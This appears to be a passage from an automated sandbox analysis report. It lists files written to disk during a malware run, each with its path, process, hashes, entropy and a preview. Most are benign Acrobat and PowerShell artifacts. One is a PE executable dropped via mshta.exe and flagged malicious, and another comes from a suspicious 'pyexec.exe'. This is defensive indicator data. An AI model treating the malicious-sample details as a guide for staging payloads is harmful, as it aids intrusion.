Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7288

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7288

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2145
Entropy (8bit):	5.069529474086905
Encrypted:	false
SSDEEP:	24:YFuw3QJGm27XHZ2LSCt7aZna0TNpnayGZmmuBJvbZW4xCZqu20Z+nZO8ZMCCDxiW:YjAwmWXZYEtoitbRCwu20wD+JliWxao
MD5:	9D3F1B50BC82D789F5A940C106BB12F2
SHA1:	AC9F01B51860A4D49C3AF08157B6838DF0713227
SHA-256:	11A1661701C543A5D1E060C1B1059B19F6ED2560E69C83DD6BC15228B26B1663
SHA-512:	FCE3A489BE277BFFA850BCBEC6B198BA9A9ED5B5D5C23A5CBF39C53C6A32A7130D9D10E3C7E00DA67588A0635DEC6FC853FCA53EF967FD1F27AB62B86CC9FCEC
Malicious:	false
Preview:	{"all":[{"id":"TESTING","info":{"dg":"DG","sid":"TESTING"},"mimeType":"file","size":4,"ts":1734358696000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"d550de899f04b5f1cb01c3a7438d5d96","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1696428962000},{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"cfa45c7829b86b94abc8cd788add6752","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":1250,"ts":1696428962000},{"id":"DC_FirstMile_Right_Sec_Surface","info":{"dg":"2dd86d6e5f99203c47dd099f6b5e82b8","sid":"DC_FirstMile_Right_Sec_Surface"},"mimeType":"file","size":294,"ts":1696428955000},{"id":"DC_Reader_RHP_Banner","info":{"dg":"3ef850c86adcfefa30feaf6c5c1404b1","sid":"DC_Reader_RHP_Banner"},"mimeType":"file","size":1395,"ts":1696426848000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"955b63af1bb125ce44faeb9a35adb91d","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1250,"ts":1696426848000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg"

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 19, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 19
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	0.9848476470606842
Encrypted:	false
SSDEEP:	24:TLHRx/XYKQvGJF7urs6I1RZKHs/Ds/SpnOk7A4zJwtNBwtNbRZ6bRZ40Ok7AF:TVl2GL7ms6ggOVpnOUzutYtp6PBOR
MD5:	106C5474A2A44EDF4AD32DF766A253FB
SHA1:	FFD4BC19C2BBB82716FBCA17EA99DB7613DCB882
SHA-256:	4861D7293DEA816535F17E3B38F02222C1B56377B1FE82F42F34712EFC755F21
SHA-512:	E768D09DE67A16DA7DBB355DC7D6D565F289FECB612EF625439AA26724DB8E81FED0C45D4EC0E81350691FE4F61C865DE45A35CF8C179D7D275DA8EFB3701EB6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.3376313741359445
Encrypted:	false
SSDEEP:	24:7+txJvAD1RZKHs/Ds/SpnOk7APzJwtNBwtNbRZ6bRZWf1RZK1qLBx/XYKQvGJF7a:7Mx9GgOVpnOrzutYtp6PMcqll2GL7msm
MD5:	C05BFB711B8229A40E5EAA425B35A9E2
SHA1:	DB2B82D3E43C1DC00A9399E22E0257A264037C2B
SHA-256:	98578ACE742F5BE02525064EECA4F62B402C6CE7DDBEE76AE1E27A0B627F22D2
SHA-512:	3EBD2634E3B22B1E3A324341A7186CECE12287FF87484AB40D60A32EB7D1FE5F6BE0818318F4885E8A0193DDB77BE181EED5342F261DE5CF619219B25FE6A38E
Malicious:	false
Preview:	.... .c.....6........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................j...#..#.#.#.#.#.#.#.#.7.7........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgwxbXmRUEoDX3OAyTIs1iCnlTFhYyu:6a6TZ44ADEwxb2RVoDXeRImhK
MD5:	34202429B8CF14B5C39139DCD7FD8A72
SHA1:	E52926F23FAC2990C639CE39BC17810F32B9DB4D
SHA-256:	AFFA3321E6BCD09496444B39F96C72025DCEB09AFD4E1B6EE96EA7C8C081D927
SHA-512:	A6308B5A3CE0866AE3A3204F2C4C127A50ED6E8C79FC984AD2672869794BAB16D3EEF52F0A0C42DCD54FFBBB2B591CCDC27748C53855D50D73EA1D7DE85D94C5
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\jetpackhandler[1]

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	469360
Entropy (8bit):	6.344598551983218
Encrypted:	false
SSDEEP:	6144:e+WoC/IdkUPq5l+WoC/IdkUPq50+WoC/IdkUPq5x+WoC/IdkUPq5k+WoC/IdkUPO:epOkVpOkkpOkBpOk0pOk
MD5:	B0F98B917575BC61088F812E4431A218
SHA1:	5129AD16A6EF9CC6BB6C76D6D8BCC8D37DB49ADD
SHA-256:	3DEB16677284576A8FFCD20F3A9E377FBF7A77CEDDE541B0D0F08A161D37D21A
SHA-512:	88E02D54642944FF5619627FF3576A2E5919623E722825D204B2A5AEDE47C7D6B00DAC1367327321FA54B6F217154A8BF5F5EDE8E1C2EBDF57D203757B7F4117
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 18%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........R...3...3...3...C...3...C...3...C...3...C...3...3...2...C...3...Cw..3...C...3..Rich.3..........................PE..L...........................T....................@.................................{.....@...... ..........................P$..,....`..(....................p.......1..T............................................ ..L.......@....................text...X........................... ..`.data...............................@....idata..D)... ...*..................@..@.didat.......P.......4..............@....rsrc...(....`.......6..............@..@.reloc.......p.......B..............@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Temp\2439fef1

Download File

Process:	C:\Users\user\AppData\Roaming\DebugCloud\pyexec.exe
File Type:	data
Category:	dropped
Size (bytes):	1036476
Entropy (8bit):	7.578320276376502
Encrypted:	false
SSDEEP:	24576:/MlhPEHokcnsWN9PjJ8jBtECN9KINuKSHJ4/GP2AP2n4Al:WEIkcpj8bL9Kr4Gg
MD5:	476C7E0CBA963DCBCD58C37AC71A2117
SHA1:	EB25612181B4E70936B6ABBD23D3CE6301869E55
SHA-256:	E8BDADD32AC4EF70E1CC92EFC4B571FE52340FDDEBD01E086C786DFB9A7647D4
SHA-512:	D4B87ACCCEEA8750E6F55A5D830B662286C9737B1087AE10BA3DC17D78D6BAAB0BDBFD3F40AC72F7FAA081A4F38F74E9DB1F8C1A0C88D77FE3A9AE5B42881603
Malicious:	false
Preview:	..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..rF.#...'..>/...5.......".......4..>#../....4.......4...F..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..:(...'...#..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..04...#...2...#..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF.:...!c...%...)..].../....#...-..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..]v..Cq..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF..sF

C:\Users\user\AppData\Local\Temp\MSI93171.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.513199765407527
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8er6qNNlH:Qw946cPbiOxDlbYnuRKhb9
MD5:	F80D874BA3EED957666D4EA801D19FEF
SHA1:	DAC806E986F7D40BAF342A985F086A584905D6BA
SHA-256:	23F7CE07613A4143CB8CFF1D07CD9B78F51DB472F3D36666ECAF49CF91B167CD
SHA-512:	538FE4B5B5BAB8F76050D7609896238BFFCE1735FA686CCFFE36B32DE4232E7BDBA88BE4A38B5FC67DF4561998FCFAA0C0674437B80A01F3FBFC375FEC81A0B0
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.6./.1.2./.2.0.2.4. . .0.9.:.1.8.:.2.1. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0eqgaesr.tib.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_e1uuecpi.3a0.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_enc3elam.ckk.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_se3jvluq.r23.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2024-12-16 09-18-14-318.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.376360055978702
Encrypted:	false
SSDEEP:	384:6b1sdmfenwop+WP21h2RPjRNg7JjO2on6oU6CyuJw1oaNIIu9EMuJuF6MKK9g9JQ:vIn
MD5:	1336667A75083BF81E2632FABAA88B67
SHA1:	46E40800B27D95DAED0DBB830E0D0BA85C031D40
SHA-256:	F81B7C83E0B979F04D3763B4F88CD05BC8FBB2F441EBFAB75826793B869F75D1
SHA-512:	D039D8650CF7B149799D42C7415CBF94D4A0A4BF389B615EF7D1B427BC51727D3441AA37D8C178E7E7E89D69C95666EB14C31B56CDFBD3937E4581A31A69081A
Malicious:	false
Preview:	SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:961+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.3292514617231195
Encrypted:	false
SSDEEP:	384:7cg9YERSZ16SNn95jK5uOMukJwobEiyjkjsjnjE1HZhnktcf2kthOsdAmsBs94k/:g9jEA
MD5:	6C2225FB094D33C93AFFEC6827838494
SHA1:	B37560176C06EEDF92DDE357D0AE920C6FBC07C2
SHA-256:	99912B2F235E9DBF065BC55A72E84057A6F6DC74A092D4A254B6F953679202E3
SHA-512:	0B0A878461CC1B0A9B08E40C5AE078A4380BCCDA4D99814F98D12F84409464F81E264A938BD7F762E38B8168311FB78437AA7DEA2F05C5D726E95F04EF9EA5A1
Malicious:	false
